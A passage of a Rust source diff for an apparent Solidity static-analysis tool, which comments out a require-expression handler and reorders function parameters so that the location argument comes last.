analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `>` had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths.flatten(), - &rhs_paths, - RangeOp::Gt, - ) - }) - }) - } - Expression::MoreEqual(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, rhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Require operation `>=` had no right hand side".to_string(), - )); - }; - let rhs_paths = rhs_paths.flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, lhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `>=` had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths.flatten(), - &rhs_paths, - RangeOp::Gte, - ) - }) - }) - } - Expression::LessEqual(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, rhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Require operation `<=` had no right hand side".to_string(), - )); - }; - let rhs_paths = rhs_paths.flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, lhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `<=` had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths.flatten(), - &rhs_paths, - RangeOp::Lte, - ) - }) - }) - } - Expression::Not(loc, lhs) => { - self.parse_ctx_expr(arena, lhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `NOT` had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let cnode = ConcreteNode::from( - analyzer.add_node(Node::Concrete(Concrete::Bool(false))), - ); - let tmp_false = Node::ContextVar( - ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - .into_expr_err(loc)?, - ); - let rhs_paths = - ExprRet::Single(ContextVarNode::from(analyzer.add_node(tmp_false)).into()); - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths, - &rhs_paths, - RangeOp::Eq, - ) - }) - } - Expression::And(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, lhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `&&` had no left hand side".to_string(), - )); - }; - - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, rhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `&&` had no left hand side".to_string(), - )); - }; - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - let cnode = ConcreteNode::from( - analyzer.add_node(Node::Concrete(Concrete::Bool(true))), - ); - let tmp_true = Node::ContextVar( - ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - .into_expr_err(loc)?, - ); - let node = analyzer.add_node(tmp_true); - ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; - analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - let tmp_rhs_paths = ExprRet::Single(node); - - // NOTE: the following is *sequence dependent* - // we want to update the parts *before* the `And` op - // to ensure the ctx_dep is correct - - // update the part's bounds - let lhs_cvar = - ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - let underlying = lhs_cvar.underlying(analyzer).into_expr_err(loc)?; - if let Some(tmp) = underlying.tmp_of { - if let Some((op, _inv_op, pair)) = tmp.op.require_parts() { - analyzer.handle_require_inner( - arena, - ctx, - loc, - &ExprRet::Single(tmp.lhs.into()), - &ExprRet::Single(tmp.rhs.unwrap().into()), - op, - )?; - } - } - - // update the part's bounds - let rhs_cvar = - ContextVarNode::from(rhs_paths.expect_single().into_expr_err(loc)?); - let underlying = rhs_cvar.underlying(analyzer).into_expr_err(loc)?; - if let Some(tmp) = underlying.tmp_of { - if let Some((op, _inv_op, pair)) = tmp.op.require_parts() { - analyzer.handle_require_inner( - arena, - ctx, - loc, - &ExprRet::Single(tmp.lhs.into()), - &ExprRet::Single(tmp.rhs.unwrap().into()), - op, - )?; - } - } - - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths, - &tmp_rhs_paths, - RangeOp::Eq, - )?; - - analyzer.handle_require_inner( - arena, - ctx, - loc, - &rhs_paths, - &tmp_rhs_paths, - RangeOp::Eq, - )?; - - Ok(()) - }) - }) - } - Expression::Or(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, lhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `||` had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, rhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `||` had no left hand side".to_string(), - )); - }; - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - let lhs_cvar = - ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - let rhs_cvar = - ContextVarNode::from(rhs_paths.expect_single().into_expr_err(loc)?); - - let elem = Elem::Expr(RangeExpr::new( - lhs_cvar.into(), - RangeOp::Or, - rhs_cvar.into(), - )); - let range = SolcRange::new(elem.clone(), elem, vec![]); - - let new_lhs_underlying = ContextVar { - loc: Some(loc), - name: format!( - "tmp{}({} {} {})", - ctx.new_tmp(analyzer).into_expr_err(loc)?, - lhs_cvar.name(analyzer).into_expr_err(loc)?, - RangeOp::Or.to_string(), - rhs_cvar.name(analyzer).into_expr_err(loc)? - ), - display_name: format!( - "({} {} {})", - lhs_cvar.display_name(analyzer).into_expr_err(loc)?, - RangeOp::Or.to_string(), - rhs_cvar.display_name(analyzer).into_expr_err(loc)? - ), - storage: None, - is_tmp: true, - is_symbolic: lhs_cvar.is_symbolic(analyzer).into_expr_err(loc)? - || rhs_cvar.is_symbolic(analyzer).into_expr_err(loc)?, - is_return: false, - tmp_of: Some(TmpConstruction::new( - lhs_cvar, - RangeOp::Or, - Some(rhs_cvar), - )), - dep_on: { - let mut deps = - lhs_cvar.dependent_on(analyzer, true).into_expr_err(loc)?; - deps.extend( - rhs_cvar.dependent_on(analyzer, true).into_expr_err(loc)?, - ); - Some(deps) - }, - ty: VarType::BuiltIn( - analyzer.builtin_or_add(Builtin::Bool).into(), - Some(range), - ), - }; - let or_var = ContextVarNode::from( - analyzer.add_node(Node::ContextVar(new_lhs_underlying)), - ); - let cnode = ConcreteNode::from( - analyzer.add_node(Node::Concrete(Concrete::Bool(true))), - ); - let tmp_true = Node::ContextVar( - ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - .into_expr_err(loc)?, - ); - let node = analyzer.add_node(tmp_true); - ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; - analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - let rhs_paths = ExprRet::Single(node); - analyzer.handle_require_inner( - arena, - ctx, - loc, - &ExprRet::Single(or_var.into()), - &rhs_paths, - RangeOp::Eq, - ) - }) - }) - } - other => { - self.parse_ctx_expr(arena, other, ctx)?; - self.apply_to_edges(ctx, other.loc(), arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - let tmp_true = analyzer.add_concrete_var(ctx, Concrete::Bool(true), loc)?; - let rhs_paths = ExprRet::Single(tmp_true.0.into()); - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths, - &rhs_paths, - RangeOp::Eq, - ) - }) - } - } - } + // /// Handles a require expression + // #[tracing::instrument(level = "trace", skip_all)] + // fn handle_require( + // &mut self, + // arena: &mut RangeArena>, + // inputs: &[Expression], + // ctx: ContextNode, + // ) -> Result<(), ExprErr> { + // ctx.add_gas_cost(self, shared::gas::BIN_OP_GAS) + // .into_expr_err(inputs[0].loc())?; + // match inputs.first().expect("No lhs input for require statement") { + // Expression::Equal(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, rhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Require operation `==` had no right hand side".to_string(), + // )); + // }; + + // let rhs_paths = rhs_paths.flatten(); + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_expr(arena, lhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `==` had no left hand side".to_string(), + // )); + // }; + + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths.flatten(), + // &rhs_paths, + // RangeOp::Eq, + // loc, + // ) + // }) + // }) + // } + // Expression::NotEqual(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, rhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Require operation `!=` had no right hand side".to_string(), + // )); + // }; + // let rhs_paths = rhs_paths.flatten(); + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.parse_ctx_expr(arena, lhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `!=` had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths.flatten(), + // &rhs_paths, + // RangeOp::Neq, + // loc, + // ) + // }) + // }) + // } + // Expression::Less(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, rhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Require operation `<` had no right hand side".to_string(), + // )); + // }; + // let rhs_paths = rhs_paths.flatten(); + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_expr(arena, lhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `<` had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths.flatten(), + // &rhs_paths, + // RangeOp::Lt, + // loc, + // ) + // }) + // }) + // } + // Expression::More(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, rhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Require operation `>` had no right hand side".to_string(), + // )); + // }; + // let rhs_paths = rhs_paths.flatten(); + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_expr(arena, lhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `>` had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths.flatten(), + // &rhs_paths, + // RangeOp::Gt, + // loc, + // ) + // }) + // }) + // } + // Expression::MoreEqual(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, rhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Require operation `>=` had no right hand side".to_string(), + // )); + // }; + // let rhs_paths = rhs_paths.flatten(); + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_expr(arena, lhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `>=` had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths.flatten(), + // &rhs_paths, + // RangeOp::Gte, + // loc, + // ) + // }) + // }) + // } + // Expression::LessEqual(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, rhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Require operation `<=` had no right hand side".to_string(), + // )); + // }; + // let rhs_paths = rhs_paths.flatten(); + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_expr(arena, lhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `<=` had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths.flatten(), + // &rhs_paths, + // RangeOp::Lte, + // loc, + // ) + // }) + // }) + // } + // Expression::Not(loc, lhs) => { + // self.parse_ctx_expr(arena, lhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `NOT` had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // let cnode = ConcreteNode::from( + // analyzer.add_node(Node::Concrete(Concrete::Bool(false))), + // ); + // let tmp_false = Node::ContextVar( + // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) + // .into_expr_err(loc)?, + // ); + // let rhs_paths = + // ExprRet::Single(ContextVarNode::from(analyzer.add_node(tmp_false)).into()); + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths, + // &rhs_paths, + // RangeOp::Eq, + // loc, + // ) + // }) + // } + // Expression::And(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, lhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `&&` had no left hand side".to_string(), + // )); + // }; + + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_expr(arena, rhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `&&` had no left hand side".to_string(), + // )); + // }; + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // let cnode = ConcreteNode::from( + // analyzer.add_node(Node::Concrete(Concrete::Bool(true))), + // ); + // let tmp_true = Node::ContextVar( + // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) + // .into_expr_err(loc)?, + // ); + // let node = analyzer.add_node(tmp_true); + // ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; + // analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + // let tmp_rhs_paths = ExprRet::Single(node); + + // // NOTE: the following is *sequence dependent* + // // we want to update the parts *before* the `And` op + // // to ensure the ctx_dep is correct + + // // update the part's bounds + // let lhs_cvar = + // ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + // let underlying = lhs_cvar.underlying(analyzer).into_expr_err(loc)?; + // if let Some(tmp) = underlying.tmp_of { + // if let Some((op, _inv_op, pair)) = tmp.op.require_parts() { + // analyzer.handle_require_inner( + // arena, + // ctx, + // &ExprRet::Single(tmp.lhs.into()), + // &ExprRet::Single(tmp.rhs.unwrap().into()), + // op, + // loc, + // )?; + // } + // } + + // // update the part's bounds + // let rhs_cvar = + // ContextVarNode::from(rhs_paths.expect_single().into_expr_err(loc)?); + // let underlying = rhs_cvar.underlying(analyzer).into_expr_err(loc)?; + // if let Some(tmp) = underlying.tmp_of { + // if let Some((op, _inv_op, pair)) = tmp.op.require_parts() { + // analyzer.handle_require_inner( + // arena, + // ctx, + // &ExprRet::Single(tmp.lhs.into()), + // &ExprRet::Single(tmp.rhs.unwrap().into()), + // op, + // loc, + // )?; + // } + // } + + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths, + // &tmp_rhs_paths, + // RangeOp::Eq, + // loc, + // )?; + + // analyzer.handle_require_inner( + // arena, + // ctx, + // &rhs_paths, + // &tmp_rhs_paths, + // RangeOp::Eq, + // loc, + // )?; + + // Ok(()) + // }) + // }) + // } + // Expression::Or(loc, lhs, rhs) => { + // self.parse_ctx_expr(arena, lhs, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `||` had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_expr(arena, rhs, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation `||` had no left hand side".to_string(), + // )); + // }; + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // let lhs_cvar = + // ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + // let rhs_cvar = + // ContextVarNode::from(rhs_paths.expect_single().into_expr_err(loc)?); + + // let elem = Elem::Expr(RangeExpr::new( + // lhs_cvar.into(), + // RangeOp::Or, + // rhs_cvar.into(), + // )); + // let range = SolcRange::new(elem.clone(), elem, vec![]); + + // let new_lhs_underlying = ContextVar { + // loc: Some(loc), + // name: format!( + // "tmp{}({} {} {})", + // ctx.new_tmp(analyzer).into_expr_err(loc)?, + // lhs_cvar.name(analyzer).into_expr_err(loc)?, + // RangeOp::Or.to_string(), + // rhs_cvar.name(analyzer).into_expr_err(loc)? + // ), + // display_name: format!( + // "({} {} {})", + // lhs_cvar.display_name(analyzer).into_expr_err(loc)?, + // RangeOp::Or.to_string(), + // rhs_cvar.display_name(analyzer).into_expr_err(loc)? + // ), + // storage: None, + // is_tmp: true, + // is_symbolic: lhs_cvar.is_symbolic(analyzer).into_expr_err(loc)? + // || rhs_cvar.is_symbolic(analyzer).into_expr_err(loc)?, + // is_return: false, + // tmp_of: Some(TmpConstruction::new( + // lhs_cvar, + // RangeOp::Or, + // Some(rhs_cvar), + // )), + // dep_on: { + // let mut deps = + // lhs_cvar.dependent_on(analyzer, true).into_expr_err(loc)?; + // deps.extend( + // rhs_cvar.dependent_on(analyzer, true).into_expr_err(loc)?, + // ); + // Some(deps) + // }, + // ty: VarType::BuiltIn( + // analyzer.builtin_or_add(Builtin::Bool).into(), + // Some(range), + // ), + // }; + // let or_var = ContextVarNode::from( + // analyzer.add_node(Node::ContextVar(new_lhs_underlying)), + // ); + // let cnode = ConcreteNode::from( + // analyzer.add_node(Node::Concrete(Concrete::Bool(true))), + // ); + // let tmp_true = Node::ContextVar( + // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) + // .into_expr_err(loc)?, + // ); + // let node = analyzer.add_node(tmp_true); + // ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; + // analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + // let rhs_paths = ExprRet::Single(node); + // analyzer.handle_require_inner( + // arena, + // ctx, + // &ExprRet::Single(or_var.into()), + // &rhs_paths, + // RangeOp::Eq, + // loc, + // ) + // }) + // }) + // } + // other => { + // self.parse_ctx_expr(arena, other, ctx)?; + // self.apply_to_edges(ctx, other.loc(), arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Require operation had no left hand side".to_string(), + // )); + // }; + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // let tmp_true = analyzer.add_concrete_var(ctx, Concrete::Bool(true), loc)?; + // let rhs_paths = ExprRet::Single(tmp_true.0.into()); + // analyzer.handle_require_inner( + // arena, + // ctx, + // &lhs_paths, + // &rhs_paths, + // RangeOp::Eq, + // loc, + // ) + // }) + // } + // } + // } /// Do matching on [`ExprRet`]s to actually perform the require statement evaluation fn handle_require_inner( &mut self, arena: &mut RangeArena>, ctx: ContextNode, - loc: Loc, lhs_paths: &ExprRet, rhs_paths: &ExprRet, op: RangeOp, + loc: Loc, ) -> Result<(), ExprErr> { match (lhs_paths, rhs_paths) { (_, ExprRet::Null) | (ExprRet::Null, _) => Ok(()), @@ -599,13 +599,13 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ContextVarNode::from(*lhs) .cast_from(&ContextVarNode::from(*rhs), self, arena) .into_expr_err(loc)?; - self.handle_require_inner(arena, ctx, loc, &ExprRet::Single(*lhs), rhs_paths, op) + self.handle_require_inner(arena, ctx, &ExprRet::Single(*lhs), rhs_paths, op, loc) } (ExprRet::Single(lhs), ExprRet::SingleLiteral(rhs)) => { ContextVarNode::from(*rhs) .cast_from(&ContextVarNode::from(*lhs), self, arena) .into_expr_err(loc)?; - self.handle_require_inner(arena, ctx, loc, lhs_paths, &ExprRet::Single(*rhs), op) + self.handle_require_inner(arena, ctx, lhs_paths, &ExprRet::Single(*rhs), op, loc) } (ExprRet::Single(lhs), ExprRet::Single(rhs)) => { let lhs_cvar = @@ -615,17 +615,17 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ContextVarNode::from(*rhs).latest_version_or_inherited_in_ctx(ctx, self); let new_rhs = self.advance_var_in_ctx(rhs_cvar, loc, ctx)?; - self.require(arena, new_lhs, new_rhs, ctx, loc, op)?; + self.require(arena, ctx, new_lhs, new_rhs, op, loc)?; Ok(()) } (l @ ExprRet::Single(_) | l @ ExprRet::SingleLiteral(_), ExprRet::Multi(rhs_sides)) => { rhs_sides.iter().try_for_each(|expr_ret| { - self.handle_require_inner(arena, ctx, loc, l, expr_ret, op) + self.handle_require_inner(arena, ctx, l, expr_ret, op, loc) }) } (ExprRet::Multi(lhs_sides), r @ ExprRet::Single(_) | r @ ExprRet::SingleLiteral(_)) => { lhs_sides.iter().try_for_each(|expr_ret| { - self.handle_require_inner(arena, ctx, loc, expr_ret, r, op) + self.handle_require_inner(arena, ctx, expr_ret, r, op, loc) }) } (ExprRet::Multi(lhs_sides), ExprRet::Multi(rhs_sides)) => { @@ -636,16 +636,16 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { self.handle_require_inner( arena, ctx, - loc, lhs_expr_ret, rhs_expr_ret, op, + loc, ) }, ) } else { rhs_sides.iter().try_for_each(|rhs_expr_ret| { - self.handle_require_inner(arena, ctx, loc, lhs_paths, rhs_expr_ret, op) + self.handle_require_inner(arena, ctx, lhs_paths, rhs_expr_ret, op, loc) }) } } @@ -663,11 +663,11 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { fn require( &mut self, arena: &mut RangeArena>, + ctx: ContextNode, mut new_lhs: ContextVarNode, mut new_rhs: ContextVarNode, - ctx: ContextNode, - loc: Loc, op: RangeOp, + loc: Loc, ) -> Result, ExprErr> { tracing::trace!( "require: {} {} {}", @@ -869,18 +869,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { new_lhs.display_name(self).unwrap(), new_lhs.is_tmp(self).unwrap() ); - // if let Some(tmp) = new_lhs.tmp_of(self).into_expr_err(loc)? { - // if tmp.op.inverse().is_some() && !matches!(op, RangeOp::Eq | 